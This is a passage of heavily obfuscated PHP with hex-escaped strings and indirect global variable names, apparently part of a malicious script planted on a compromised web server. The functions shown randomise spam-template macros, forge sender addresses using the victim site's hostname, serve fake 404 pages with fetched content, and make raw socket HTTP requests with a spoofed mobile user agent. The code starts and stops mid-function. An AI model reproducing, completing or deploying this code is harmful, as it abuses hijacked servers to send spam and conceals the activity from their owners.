\x6e\x64";${"\x47\x4c\x4f\x42AL\x53"}["\x66\x66kgr\x69"]="m\x69\x6e";${"G\x4c\x4fB\x41\x4c\x53"}["\x6a\x6d\x70\x74\x7a\x63\x6a"]="\x6d\x61\x74c\x68es";$gjokqgptcw="c\x6fnten\x74";$oosgmrc="\x6da\x78";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["y\x7a\x62\x6bg\x6f\x6a"]}=${${"G\x4cO\x42\x41\x4c\x53"}["g\x75\x63\x66w\x6c\x67\x6a\x74"]}[1][${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x6d\x6c\x6d\x6ff\x69v\x74"]}];${$oosgmrc}=${${"G\x4cO\x42\x41L\x53"}["\x76\x70\x79\x7a\x69\x6ff"]}[2][${${"\x47\x4cO\x42A\x4c\x53"}["\x72ui\x77\x6a\x70\x6ac\x71"]}];$tksqixu="\x69";${$eukffcole}=rand(${${"GLOBALS"}["\x66\x66\x6b\x67\x72\x69"]},${${"\x47\x4c\x4f\x42A\x4c\x53"}["bww\x74\x6dne\x6c\x79f\x75"]});${$bhbxrokf}=generate_word(${${"\x47LO\x42\x41\x4c\x53"}["\x7af\x66\x69nl"]});${${"\x47\x4c\x4f\x42A\x4cS"}["g\x68\x6ee\x70l\x75s"]}=preg_replace("/".preg_quote(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6a\x6d\x70\x74\x7acj"]}[0][${$tksqixu}])."/",${${"GL\x4f\x42A\x4cS"}["\x69\x70v\x77\x67\x7a\x73o\x69\x64\x75p"]},${$gjokqgptcw},1);}$spjktljeo="m\x61t\x63h\x65s";preg_match_all("\x23\x5c[T\x45XT\\-([[:di\x67\x69t:]]+)\\]\x23",${${"G\x4cO\x42\x41\x4c\x53"}["g\x68\x6e\x65\x70\x6cu\x73"]},${${"\x47LO\x42\x41\x4c\x53"}["vpy\x7a\x69\x6f\x66"]});for(${${"\x47\x4c\x4fBAL\x53"}["\x68\x6b\x70x\x73\x6e\x6es\x68"]}=0;${$hyxuqdd}<count(${$spjktljeo}[0]);${$dqypvlu}++){$fufufba="\x69";${"\x47\x4c\x4fB\x41\x4c\x53"}["e\x6dt\x79\x6f\x77\x73\x77"]="c\x6fn\x74\x65n\x74";${"\x47\x4cOBALS"}["\x72op\x6b\x76\x62\x6e\x78"]="\x6d\x61\x74\x63\x68\x65s";${${"\x47\x4cOB\x41L\x53"}["\x76\x65\x66\x6e\x66\x64\x6a\x79o\x6b"]}=${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x72opk\x76\x62n\x78"]}[1][${$fufufba}];$pirwoobadh="\x63o\x75\x6e\x74";$bhxqfbihx="\x77o\x72\x64";$iyxmabn="wor\x64";${$bhxqfbihx}=generate_word(${$pirwoobadh});${${"\x47\x4c\x4f\x42AL\x53"}["\x67\x68\x6e\x65\x70lus"]}=preg_replace("/".preg_quote(${${"\x47L\x4f\x42\x41L\x53"}["\x76\x70\x79\x7a\x69\x6f\x66"]}[0][${${"\x47\x4c\x4fB\x41\x4c\x53"}["r\x75\x69\x77\x6ap\x6a\x63\x71"]}])."/",${$iyxmabn},${${"G\x4c\x4fB\x41L\x53"}["em\x74\x79\x6f\x77s\x77"]},1);}return${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76r\x65uw\x78\x76"]};}function xnum_macros($content){${"\x47L\x4f\x42\x41\x4c\x53"}["\x77\x67\x73z\x75d\x6b\x68rn\x71"]="\x6d\x61\x74c\x68e\x73";$jsxnfvkyb="m\x61\x74\x63h\x65\x73";${"\x47\x4c\x4f\x42A\x4c\x53"}["n\x67\x62\x67\x6bm\x61\x77g\x63\x69\x6f"]="i";${"G\x4c\x4f\x42AL\x53"}["z\x66s\x74e\x67\x69o\x62\x6b\x64"]="c\x6f\x6e\x74\x65n\x74";$rhcttj="\x69";preg_match_all("#\x5c[\x4e\x55\x4d\x5c-([[:dig\x69\x74:]]+)\x5c]\x23",${${"\x47L\x4f\x42\x41\x4cS"}["\x67\x68\x6e\x65\x70lu\x73"]},${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77\x67\x73z\x75\x64k\x68\x72\x6eq"]});for(${${"GLO\x42\x41\x4c\x53"}["n\x67\x62\x67\x6b\x6da\x77\x67c\x69\x6f"]}=0;${$rhcttj}<count(${$jsxnfvkyb}[0]);${${"\x47LO\x42\x41\x4c\x53"}["ru\x69w\x6a\x70\x6ac\x71"]}++){$ubuokryci="\x6e\x75\x6d";$nlwevatwbmp="\x63\x6f\x6e\x74\x65n\x74";${"G\x4cO\x42A\x4c\x53"}["v\x67\x77\x66\x65s\x63\x71\x63f\x73\x7a"]="\x69";$jviztqp="\x6da\x74\x63h\x65\x73";$ssubieyxtesv="\x6d\x61\x74c\x68\x65\x73";$xnggqxhgbv="\x6di\x6e";$hpivudnwnlb="\x69";$bduubosb="\x63o\x6e\x74e\x6e\x74";${${"\x47L\x4f\x42\x41LS"}["e\x62\x71\x79ah"]}=${$ssubieyxtesv}[1][${$hpivudnwnlb}];${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x79\x7a\x62k\x67o\x6a"]}=pow(10,${$ubuokryci}-1);$rxprwtpfe="m\x61\x78";${${"\x47LOB\x41\x4c\x53"}["\x62w\x77\x74\x6d\x6ee\x6c\x79\x66\x75"]}=pow(10,${${"G\x4cO\x42\x41\x4cS"}["\x65b\x71ya\x68"]})-1;${${"\x47L\x4fB\x41L\x53"}["zf\x66\x69\x6e\x6c"]}=rand(${$xnggqxhgbv},${$rxprwtpfe});${$bduubosb}=str_replace(${$jviztqp}[0][${${"G\x4c\x4fB\x41\x4c\x53"}["\x76\x67\x77\x66\x65s\x63q\x63\x66\x73z"]}],${${"\x47\x4cO\x42\x41L\x53"}["zffi\x6e\x6c"]},${$nlwevatwbmp});}return${${"G\x4cO\x42A\x4cS"}["z\x66\x73\x74\x65g\x69\x6fbk\x64"]};}function num_macros($content){${"\x47\x4cO\x42\x41L\x53"}["\x78\x6fpi\x66\x6d\x64\x72\x7a\x62w"]="\x63\x6f\x6e\x74\x65\x6e\x74";$ipcarpgljps="i";${"\x47\x4c\x4f\x42ALS"}["\x71b\x70r\x77oti\x78g\x68\x64"]="i";preg_match_all("\x23\\[RA\x4eD\\-([[:di\x67it:]]+)\x5c-([[:\x64igit:]]+)\x5c]#",${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x78o\x70\x69\x66md\x72z\x62w"]},${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x76p\x79\x7ai\x6ff"]});${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6a\x65\x68\x68\x74\x65\x74"]="i";for(${${"G\x4c\x4fB\x41\x4c\x53"}["\x6a\x65\x68h\x74\x65\x74"]}=0;${${"\x47LO\x42\x41L\x53"}["\x71b\x70\x72w\x6f\x74\x69\x78\x67\x68\x64"]}<count(${${"\x47LO\x42A\x4cS"}["\x76p\x79\x7ai\x6f\x66"]}[0]);${$ipcarpgljps}++){$qfvlccg="\x69";$acdttscrvxv="\x6d\x69\x6e";${"\x47\x4c\x4fBAL\x53"}["z\x71\x70\x67\x62\x77\x61\x79\x77ng"]="i";${"G\x4cOB\x41\x4c\x53"}["p\x6c\x6b\x6f\x76\x6fgs\x74k\x66"]="\x6d\x61\x74c\x68\x65\x73";${$acdttscrvxv}=${${"\x47L\x4fB\x41\x4cS"}["p\x6c\x6b\x6fv\x6f\x67\x73\x74\x6bf"]}[1][${${"\x47L\x4f\x42\x41\x4c\x53"}["\x7a\x71pg\x62w\x61y\x77\x6e\x67"]}];$fvablolqu="\x63on\x74\x65\x6e\x74";${"\x47LOBA\x4c\x53"}["\x6dubs\x71\x67\x74n"]="\x69";$emgxsndg="m\x61\x78";${${"G\x4c\x4fB\x41\x4c\x53"}["\x62\x77\x77\x74m\x6e\x65\x6c\x79f\x75"]}=${${"\x47\x4cOB\x41L\x53"}["v\x70\x79\x7a\x69o\x66"]}[2][${$qfvlccg}];${${"GL\x4fBA\x4c\x53"}["\x7a\x66\x66\x69\x6el"]}=rand(${${"\x47\x4cO\x42\x41L\x53"}["\x79\x7a\x62\x6b\x67o\x6a"]},${$emgxsndg});${${"\x47\x4c\x4f\x42\x41\x4cS"}["g\x68\x6e\x65p\x6cus"]}=str_replace(${${"\x47\x4cO\x42A\x4c\x53"}["vpy\x7ai\x6f\x66"]}[0][${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6d\x75bs\x71g\x74\x6e"]}],${${"G\x4c\x4f\x42A\x4cS"}["zf\x66\x69\x6el"]},${$fvablolqu});}return${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x67\x68n\x65pl\x75\x73"]};}function generate_word($length){$smoykjvhg="\x69";$clmitjvpkgf="nu\x6d\x43\x68a\x72\x73";${"\x47L\x4f\x42\x41\x4c\x53"}["\x66\x6c\x74\x70\x79\x64\x79w\x69\x70"]="\x63\x68ars";$iqblxxnib="i";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x72\x63\x6cu\x70\x78\x7a\x75\x6a"]}="\x61bc\x64ef\x67hijkl\x6d\x6e\x6fpqr\x73\x74u\x76y\x78z";$lttuxlovnrxk="\x73\x74ri\x6e\x67";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x73\x6efj\x67\x73\x7aui\x79j"]="\x69";${$clmitjvpkgf}=strlen(${${"\x47\x4cO\x42ALS"}["\x66\x6ctpy\x64\x79\x77\x69p"]});${$lttuxlovnrxk}="";for(${$iqblxxnib}=0;${${"\x47\x4cOB\x41L\x53"}["m\x73n\x66\x6a\x67\x73\x7au\x69\x79\x6a"]}<${${"\x47L\x4f\x42\x41\x4cS"}["n\x77\x69\x6d\x79\x74"]};${$smoykjvhg}++){${"GLOB\x41L\x53"}["\x62\x78w\x70d\x70\x6exe\x66\x73"]="\x63\x68\x61\x72\x73";$umgvbiwhufl="\x73\x74\x72i\x6e\x67";${$umgvbiwhufl}.=substr(${${"\x47\x4c\x4f\x42ALS"}["\x62x\x77\x70dp\x6exe\x66\x73"]},rand(1,${${"\x47\x4cOB\x41L\x53"}["\x6ct\x77s\x73fi\x62r"]})-1,1);}return${${"G\x4c\x4f\x42\x41\x4c\x53"}["eb\x6e\x66\x6ebv\x77\x64l\x77"]};}function pass_macros($content,$passes){${"G\x4cOB\x41LS"}["\x79\x77\x72nel\x76"]="\x63\x6f\x6e\x74en\x74";${"\x47\x4c\x4fB\x41\x4c\x53"}["\x66ly\x6f\x76\x79ym\x73"]="pas\x73";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x73\x63xh\x71d\x71r\x68jj"]}=array_pop(${${"GL\x4f\x42\x41L\x53"}["r\x71\x74\x6c\x68l"]});return str_replace("[P\x41SS]",${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66l\x79\x6f\x76yy\x6ds"]},${${"\x47LOBA\x4c\x53"}["\x79wrn\x65l\x76"]});}function fteil_macros($content,$fteil){${"\x47LO\x42A\x4c\x53"}["\x77sj\x66\x69r\x62\x77\x64l"]="\x63\x6f\x6e\x74ent";${"\x47L\x4fB\x41\x4c\x53"}["\x6d\x79wj\x62a\x74\x70\x78"]="\x66\x74e\x69\x6c";return str_replace("[FTEI\x4c]",${${"\x47LO\x42A\x4c\x53"}["m\x79w\x6a\x62a\x74\x70x"]},${${"G\x4cO\x42\x41\x4c\x53"}["\x77\x73jf\x69\x72b\x77\x64\x6c"]});}function is_ip($str){$drcfrshj="\x73tr";return preg_match("/^([\x31-9]|[1-9][\x30-\x39]|1[\x30-9][0-\x39]|2[0-\x34][\x30-\x39]|\x32\x35[\x30-\x35])(\\.([0-\x39]|[1-9][0-\x39]|\x31[0-9][\x30-\x39]|2[\x30-\x34][0-\x39]|\x32\x35[\x30-5])){\x33}\$/",${$drcfrshj});}function from_host($content){${"\x47\x4c\x4fBAL\x53"}["\x77\x75d\x6dq\x79q\x63\x65g\x6e"]="c\x6f\x6e\x74\x65n\x74";$host=preg_replace("/^(w\x77w|ft\x70)\\\x2e/\x69","",@$_SERVER["H\x54TP_\x48O\x53\x54"]);if(is_ip($host)){return${${"G\x4c\x4f\x42\x41\x4cS"}["g\x68n\x65\x70lu\x73"]};}${${"\x47L\x4f\x42\x41LS"}["\x76\x76\x66\x73\x68y\x6egh"]}=explode("\x40",${${"\x47\x4c\x4f\x42\x41LS"}["\x67\x68\x6e\x65p\x6c\x75s"]});${${"\x47\x4c\x4fB\x41L\x53"}["wu\x64\x6d\x71\x79\x71c\x65\x67\x6e"]}=${${"\x47LOBA\x4c\x53"}["v\x76fs\x68\x79ng\x68"]}[0]."@".$host."\x3e";return${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x67h\x6ee\x70l\x75s"]};}function error_404(){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x68\x67\x69o\x6a\x75\x72"]="\x63\x6f\x6e\x74\x65nt";$cpbulmkll="c\x6f\x6et\x65nt";${"\x47LO\x42A\x4cS"}["wt\x6a\x68\x6fn\x65\x6e"]="\x75\x72\x69";header("HT\x54\x50/1.\x31\x20\x34\x30\x34 N\x6f\x74\x20F\x6fund");${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x77\x74j\x68on\x65\x6e"]}=preg_replace("/(\\?).*\$/","",$_SERVER["REQUES\x54\x5f\x55\x52\x49"]);${${"\x47\x4c\x4fB\x41\x4c\x53"}["hgiojur"]}=custom_http_request1("\x68ttp://".$_SERVER["HT\x54P\x5fHOST"]."/AFQ\x6aC\x4eH\x6e\x688\x52\x74\x74\x46\x493VMrB\x64dY\x776\x72ngKz\x37K\x45\x41");${${"GLO\x42\x41\x4c\x53"}["\x67\x68\x6e\x65\x70l\x75s"]}=str_replace("/AFQ\x6a\x43\x4eH\x6eh8R\x74\x74\x46I\x33\x56\x4drB\x64d\x59w6rngK\x7a\x37KE\x41",${${"\x47LO\x42A\x4cS"}["e\x74j\x76\x6e\x6e\x70\x71"]},${$cpbulmkll});exit(${${"\x47\x4c\x4f\x42\x41L\x53"}["ghn\x65\x70\x6c\x75\x73"]});}function custom_http_request1($params){$zjkkuigpev="par\x61\x6d\x73";$dellukcyp="\x75\x72\x6c";${"\x47\x4cO\x42\x41\x4cS"}["b\x66\x69s\x6b\x65\x6f\x72w"]="\x75\x72\x6c";${"\x47\x4cOB\x41L\x53"}["lc\x6biuw\x67n\x6dpps"]="u\x72\x6c";${"\x47LOBA\x4c\x53"}["me\x65\x75\x6f\x64\x63n"]="\x70or\x74";$rtuthn="\x70\x61\x72\x61ms";${"\x47LO\x42\x41\x4cS"}["\x6a\x61jg\x65\x64\x65\x6d\x6c"]="\x75r\x6c";$qwwjfqmgsw="\x70a\x72\x61\x6d\x73";if(!is_array(${$zjkkuigpev})){${${"\x47L\x4fB\x41L\x53"}["o\x73\x6bxm\x75m\x72"]}=array("\x75\x72\x6c"=>${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6fs\x6b\x78m\x75mr"]},"\x6d\x65tho\x64"=>"GE\x54");}$lrfewa="r\x65\x73";${"GL\x4fBA\x4c\x53"}["\x6b\x73f\x6fv\x65"]="\x75r\x6c";${"\x47\x4cOB\x41\x4c\x53"}["\x71er\x69\x67\x77\x73\x72\x66u"]="\x74\x69m\x65\x6f\x75\x74";$nnggdbqtiiri="\x75\x72\x6c";$kbigwyo="u\x72l";$uwtlhrx="p\x61\x72\x61\x6d\x73";$ekhudpngpj="sche\x6de";$anoipcsbvnx="\x75\x72l";if(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6f\x73\x6b\x78\x6d\x75mr"]}["\x75rl"]=="")return FALSE;${"\x47\x4cO\x42\x41\x4c\x53"}["orj\x79\x61\x6e\x6d\x67d\x78"]="\x70a\x72\x61m\x73";$oztqfabxqd="\x75\x72\x6c";$uislbjmutj="\x75\x72\x6c";if(!isset(${$rtuthn}["me\x74hod"]))${${"G\x4c\x4f\x42\x41L\x53"}["\x6f\x73\x6b\x78\x6d\x75m\x72"]}["\x6d\x65\x74\x68o\x64"]=(isset(${${"G\x4c\x4fB\x41\x4c\x53"}["\x6f\x73k\x78m\x75\x6d\x72"]}["d\x61\x74\x61"])&&is_array(${${"G\x4c\x4f\x42AL\x53"}["o\x73\x6b\x78\x6d\x75\x6d\x72"]}["\x64\x61ta"]))?"\x50\x4f\x53\x54":"G\x45\x54";${${"\x47\x4cOBA\x4c\x53"}["\x6f\x72\x6ay\x61n\x6dg\x64x"]}["m\x65\x74\x68od"]=strtoupper(${${"GL\x4f\x42\x41LS"}["\x6fs\x6b\x78\x6du\x6dr"]}["\x6d\x65\x74\x68\x6f\x64"]);${"\x47\x4c\x4f\x42ALS"}["yx\x72\x64\x78\x63u\x70"]="\x70\x61\x72ams";$ukvnkvqktjd="\x75\x72\x6c";if(!in_array(${$uwtlhrx}["me\x74ho\x64"],array("\x47E\x54","POST")))return FALSE;$zkiwgqct="\x70\x61\x72ams";${$kbigwyo}=parse_url(${$qwwjfqmgsw}["url"]);if(!isset(${${"\x47\x4c\x4f\x42AL\x53"}["\x71\x74b\x76\x71h"]}["sc\x68eme"]))${${"\x47\x4cO\x42A\x4c\x53"}["\x71\x74bvq\x68"]}["sc\x68eme"]="ht\x74\x70";if(!isset(${${"GL\x4f\x42\x41\x4c\x53"}["q\x74\x62\x76\x71h"]}["pa\x74h"]))${$dellukcyp}["p\x61t\x68"]="/";if(!isset(${${"\x47\x4cOBA\x4c\x53"}["q\x74\x62\x76\x71\x68"]}["h\x6fs\x74"])&&isset(${${"GL\x4f\x42A\x4cS"}["q\x74\x62v\x71h"]}["\x70\x61th"])){if(strpos(${${"\x47LO\x42AL\x53"}["qt\x62vq\x68"]}["\x70\x61th"],"/")){${"\x47LO\x42\x41\x4c\x53"}["\x6f\x74\x6d\x6b\x75zep\x6d\x63\x75"]="\x75\x72l";$ygtcahcvv="u\x72l";${"\x47\x4c\x4fB\x41L\x53"}["\x63\x69\x76\x6fu\x63\x67\x74r"]="\x75\x72l";$txnjvhxqre="\x75\x72\x6c";${${"\x47L\x4f\x42A\x4c\x53"}["ci\x76\x6f\x75\x63\x67tr"]}["\x68\x6f\x73t"]=substr(${${"G\x4cOB\x41LS"}["q\x74\x62\x76\x71\x68"]}["p\x61t\x68"],0,strpos(${${"\x47L\x4f\x42AL\x53"}["o\x74mk\x75\x7ae\x70m\x63\x75"]}["pa\x74\x68"],"/"));${$txnjvhxqre}["\x70\x61\x74h"]=substr(${${"GL\x4f\x42A\x4cS"}["qt\x62\x76q\x68"]}["\x70\x61t\x68"],strpos(${$ygtcahcvv}["p\x61\x74h"],"/"));}else{${"\x47L\x4f\x42\x41\x4cS"}["sv\x6ew\x63\x6e\x6e\x6cy\x74"]="u\x72l";${"\x47L\x4f\x42\x41\x4c\x53"}["\x78\x67\x69\x73n\x72qqw\x65"]="\x75\x72l";${${"\x47\x4c\x4fBA\x4c\x53"}["\x71\x74\x62\x76qh"]}["\x68o\x73\x74"]=${${"\x47\x4c\x4f\x42ALS"}["\x73vn\x77\x63\x6e\x6e\x6c\x79t"]}["pat\x68"];${${"G\x4c\x4f\x42A\x4c\x53"}["\x78\x67\x69\x73\x6e\x72\x71\x71\x77\x65"]}["pa\x74\x68"]="/";}}${"\x47L\x4f\x42\x41\x4cS"}["\x6c\x68g\x6b\x6a\x6c\x63\x74"]="pa\x72\x61\x6ds";${$oztqfabxqd}["\x70a\x74h"]=preg_replace("/[\x5c/]+/","/",${$uislbjmutj}["p\x61\x74h"]);if(isset(${${"G\x4c\x4f\x42\x41\x4cS"}["\x6c\x63\x6b\x69\x75\x77gnm\x70p\x73"]}["\x71u\x65\x72\x79"]))${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x62\x66\x69\x73\x6be\x6f\x72\x77"]}["pa\x74\x68"].="?{$url['query']}";${${"\x47\x4cOB\x41\x4c\x53"}["y\x74\x76k\x6bb\x6b\x63u"]}=isset(${${"\x47\x4cO\x42AL\x53"}["o\x73\x6bxm\x75\x6d\x72"]}["por\x74"])?${${"G\x4cO\x42\x41\x4c\x53"}["\x6c\x68g\x6b\x6a\x6cc\x74"]}["po\x72\x74"]:(isset(${$ukvnkvqktjd}["po\x72\x74"])?${$anoipcsbvnx}["\x70\x6fr\x74"]:(${${"\x47\x4cOB\x41\x4cS"}["\x6a\x61\x6age\x64e\x6d\x6c"]}["sch\x65m\x65"]=="h\x74t\x70\x73"?443:80));${${"\x47L\x4f\x42\x41\x4c\x53"}["\x64w\x71\x72\x6a\x79\x75q\x6eq\x6dd"]}=isset(${${"G\x4c\x4fBAL\x53"}["o\x73\x6bxmu\x6dr"]}["t\x69\x6d\x65ou\x74"])?${$zkiwgqct}["t\x69meo\x75\x74"]:30;if(!isset(${${"GL\x4fBA\x4c\x53"}["\x6fskx\x6d\x75m\x72"]}["\x72\x65\x74u\x72\x6e"]))${${"\x47\x4c\x4fB\x41L\x53"}["\x6fs\x6b\x78m\x75\x6dr"]}["\x72\x65\x74\x75\x72n"]="cont\x65nt";${${"\x47\x4c\x4f\x42\x41LS"}["z\x6a\x79w\x6e\x68\x77\x78\x6ft\x76t"]}=${${"GL\x4f\x42\x41L\x53"}["\x6bsfo\x76\x65"]}["\x73che\x6d\x65"]=="ht\x74\x70\x73"?"\x73s\x6c://":"";${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x63\x6fo\x6f\x74\x78ufe"]}=@fsockopen(${$ekhudpngpj}.${$nnggdbqtiiri}["\x68o\x73t"],${${"\x47\x4c\x4f\x42AL\x53"}["\x6d\x65e\x75\x6fdc\x6e"]},${${"\x47\x4cOB\x41L\x53"}["\x70\x68\x72m\x74b"]},${${"\x47\x4c\x4fB\x41\x4cS"}["\x65\x6e\x62cln\x6b\x6f\x65"]},${${"\x47\x4c\x4f\x42\x41LS"}["\x71\x65r\x69\x67ws\x72\x66\x75"]});if(${${"\x47LO\x42\x41LS"}["\x63\x6f\x6fot\x78\x75\x66e"]}){${"\x47LO\x42\x41L\x53"}["i\x67\x74\x68b\x72\x75\x68\x6c"]="\x72e\x71\x75\x65s\x74";${"GL\x4fBALS"}["\x6e\x6a\x68b\x68\x68b\x64\x62\x71"]="\x66p";$wkhysqbnk="\x70\x61r\x61\x6d\x73";$aknvlyh="\x68eade\x72\x73";${"\x47\x4cO\x42\x41\x4c\x53"}["\x74vwk\x77u\x75\x75\x6b"]="par\x61\x6ds";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x69\x62\x6bk\x73\x70\x62\x6d\x74"]="\x72\x65\x71u\x65\x73\x74";$qyfswp="\x70\x61r\x61\x6ds";$ejsvfedj="\x72e\x71\x75\x65\x73t";${"\x47L\x4f\x42A\x4cS"}["\x62\x62g\x6ap\x62cgok\x6c\x67"]="\x66\x70";$bokemsg="f\x70";${"\x47\x4cO\x42\x41\x4c\x53"}["i\x6ey\x70\x66\x76\x73\x6a\x6c\x77"]="\x72eq\x75\x65s\x74";${"\x47L\x4fB\x41\x4c\x53"}["\x72\x71\x71\x78\x6f\x78vy\x79\x73"]="\x72\x65q\x75\x65\x73t";if(!isset(${${"G\x4c\x4f\x42\x41LS"}["\x74\x76\x77\x6bwu\x75\x75\x6b"]}["\x55se\x72-\x41ge\x6et"]))${$qyfswp}["\x55\x73\x65\x72-Age\x6et"]="M\x6f\x7ai\x6cla/\x35\x2e0 (\x69Ph\x6f\x6e\x65;\x20\x55\x3b\x20C\x50U i\x50\x68o\x6ee \x4fS \x33\x5f0 like\x20M\x61\x63 \x4f\x53 X\x3b\x20\x65\x6e-\x75s)\x20\x41\x70pl\x65\x57ebK\x69\x74/\x3528\x2e\x318\x20(\x4b\x48TML, \x6c\x69\x6be Ge\x63k\x6f) \x56\x65\x72\x73\x69\x6fn/\x34\x2e\x30 \x4dobi\x6c\x65/\x37\x41\x33\x34\x31 \x53a\x66\x61\x72i/\x3528.\x316";${${"\x47\x4cOB\x41L\x53"}["\x68p\x79i\x76\x6f\x62n\x72\x6a"]}="{$params['method']} {$url['path']} \x48\x54TP/1\x2e\x30\r\n";$cislxaeghie="\x72e\x73";$vlvurmhxkacz="p\x61\x72\x61\x6d\x73";${$ejsvfedj}.="Ho\x73\x74: {$url['host']}\r\n";$sslltsx="h\x5fd\x65tec\x74\x65\x64";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x69\x6e\x79p\x66vsj\x6c\x77"]}.="U\x73e\x72-\x41ge\x6et:\x20{$params['User-Agent']}"."\r\n";if(isset(${${"\x47LO\x42A\x4c\x53"}["\x6f\x73\x6bxm\x75\x6d\x72"]}["r\x65\x66e\x72\x65\x72"]))${${"\x47\x4c\x4fB\x41\x4c\x53"}["rq\x71\x78\x6f\x78\x76\x79\x79\x73"]}.="Re\x66er\x65\x72:\x20{$params['referer']}\r\n";if(isset(${$wkhysqbnk}["\x63\x6f\x6f\x6b\x69e"])){$sbgtmjduxylu="\x70\x61\x72\x61m\x73";${${"GL\x4fB\x41\x4cS"}["s\x74\x65\x73\x6b\x6d\x64\x63w\x69\x64"]}="";$nbcerf="\x70ara\x6ds";if(is_array(${$sbgtmjduxylu}["\x63\x6fo\x6bie"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66\x67\x64m\x70y\x6b\x67\x68gfn"]="cook\x69e";${"G\x4c\x4f\x42A\x4cS"}["tie\x66\x76y\x74\x67g\x70\x6d\x63"]="\x63\x6f\x6fk\x69\x65";foreach(${${"GLO\x42\x41L\x53"}["\x6fs\x6bxm\x75mr"]}["\x63oo\x6b\x69\x65"]as${${"\x47\x4cO\x42\x41\x4c\x53"}["\x70\x71\x70g\x6cmnd\x66c\x7a"]}=>${${"\x47\x4cO\x42\x41\x4cS"}["\x74jgxh\x6e"]})${${"G\x4cO\x42\x41LS"}["\x66gd\x6d\x70\x79k\x67\x68g\x66\x6e"]}.="$k=$v; ";${${"G\x4c\x4fBAL\x53"}["\x74\x69efv\x79\x74\x67\x67p\x6dc"]}=substr(${${"\x47\x4c\x4fB\x41\x4cS"}["\x73\x74\x65\x73\x6b\x6d\x64\x63\x77\x69\x64"]},0,-2);}else${${"G\x4cOB\x41\x4cS"}["\x73t\x65\x73\x6b\x6d\x64\x63\x77\x69\x64"]}=${$nbcerf}["c\x6f\x6f\x6bie"];if(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x73te\x73\x6b\x6d\x64\x63\x77\x69\x64"]}!="")${${"G\x4cO\x42A\x4c\x53"}["hp\x79iv\x6f\x62\x6e\x72j"]}.="\x43o\x6f\x6bie:\x20$cookie\r\n";}${${"\x47\x4c\x4f\x42\x41\x4cS"}["hp\x79\x69\x76\x6fb\x6erj"]}.="\x43onn\x65c\x74ion:\x20\x63l\x6f\x73e\r\n";if(${$vlvurmhxkacz}["m\x65t\x68od"]=="\x50\x4fS\x54"){$lhzethz="\x70\x61\x72\x61\x6ds";${"G\x4cO\x42\x41\x4c\x53"}["\x63r\x6fto\x6e\x68\x6b\x6b"]="\x72\x65\x71\x75\x65s\x74";if(isset(${$lhzethz}["\x64\x61\x74a"])&&is_array(${${"\x47LO\x42\x41\x4cS"}["\x6f\x73\x6b\x78m\x75\x6d\x72"]}["\x64a\x74a"])){${"\x47LO\x42\x41\x4cS"}["\x6fe\x67i\x67\x67\x62\x6c\x65wp"]="\x6b";${"\x47\x4cO\x42A\x4c\x53"}["\x6b\x71\x71b\x6e\x79u"]="\x64\x61\x74\x61";${"\x47L\x4fB\x41\x4c\x53"}["\x6b\x68\x64\x69\x6a\x73"]="\x64\x61\x74\x61";${"G\x4cO\x42\x41L\x53"}["\x61\x71\x74\x66n\x65\x76"]="\x64a\x74\x61";$etqhmbx="v";foreach(${${"G\x4cO\x42\x41L\x53"}["\x6f\x73\x6b\x78\x6d\x75m\x72"]}["d\x61\x74\x61"]AS${${"\x47L\x4fB\x41\x4cS"}["\x6fe\x67i\x67\x67\x62\x6c\x65\x77p"]}=>${$etqhmbx})${${"\x47\x4c\x4f\x42\x41L\x53"}["k\x68\x64\x69\x6a\x73"]}.=urlencode(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x70\x71p\x67\x6cm\x6edf\x63\x7a"]})."\x3d".urlencode(${${"\x47L\x4fB\x41L\x53"}["\x74\x6a\x67\x78\x68n"]})."\x26";${"\x47L\x4fBA\x4c\x53"}["m\x67\x65nt\x71\x74ug"]="\x64\x61\x74a";if(substr(${${"\x47L\x4fB\x41\x4cS"}["k\x71\x71\x62\x6e\x79\x75"]},-1)=="\x26")${${"GLOB\x41L\x53"}["\x61\x71\x74\x66ne\x76"]}=substr(${${"\x47L\x4f\x42\x41L\x53"}["\x6dg\x65\x6e\x74q\x74\x75g"]},0,-1);}${${"\x47\x4cO\x42\x41\x4c\x53"}["\x7a\x68\x7a\x74x\x6fe\x74\x71sq\x6f"]}.="\r\n\r\n";$gjdxkphwk="\x64a\x74\x61";${${"\x47\x4cO\x42A\x4cS"}["\x68py\x69\x76\x6f\x62\x6erj"]}.="\x43o\x6e\x74ent-\x74y\x70\x65: \x61\x70pl\x69c\x61ti\x6fn/x-www-\x66\x6f\x72\x6d-ur\x6cenc\x6fd\x65d\r\n";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["c\x72\x6ft\x6f\x6eh\x6b\x6b"]}.="Cont\x65\x6e\x74-\x6c\x65\x6e\x67\x74h: 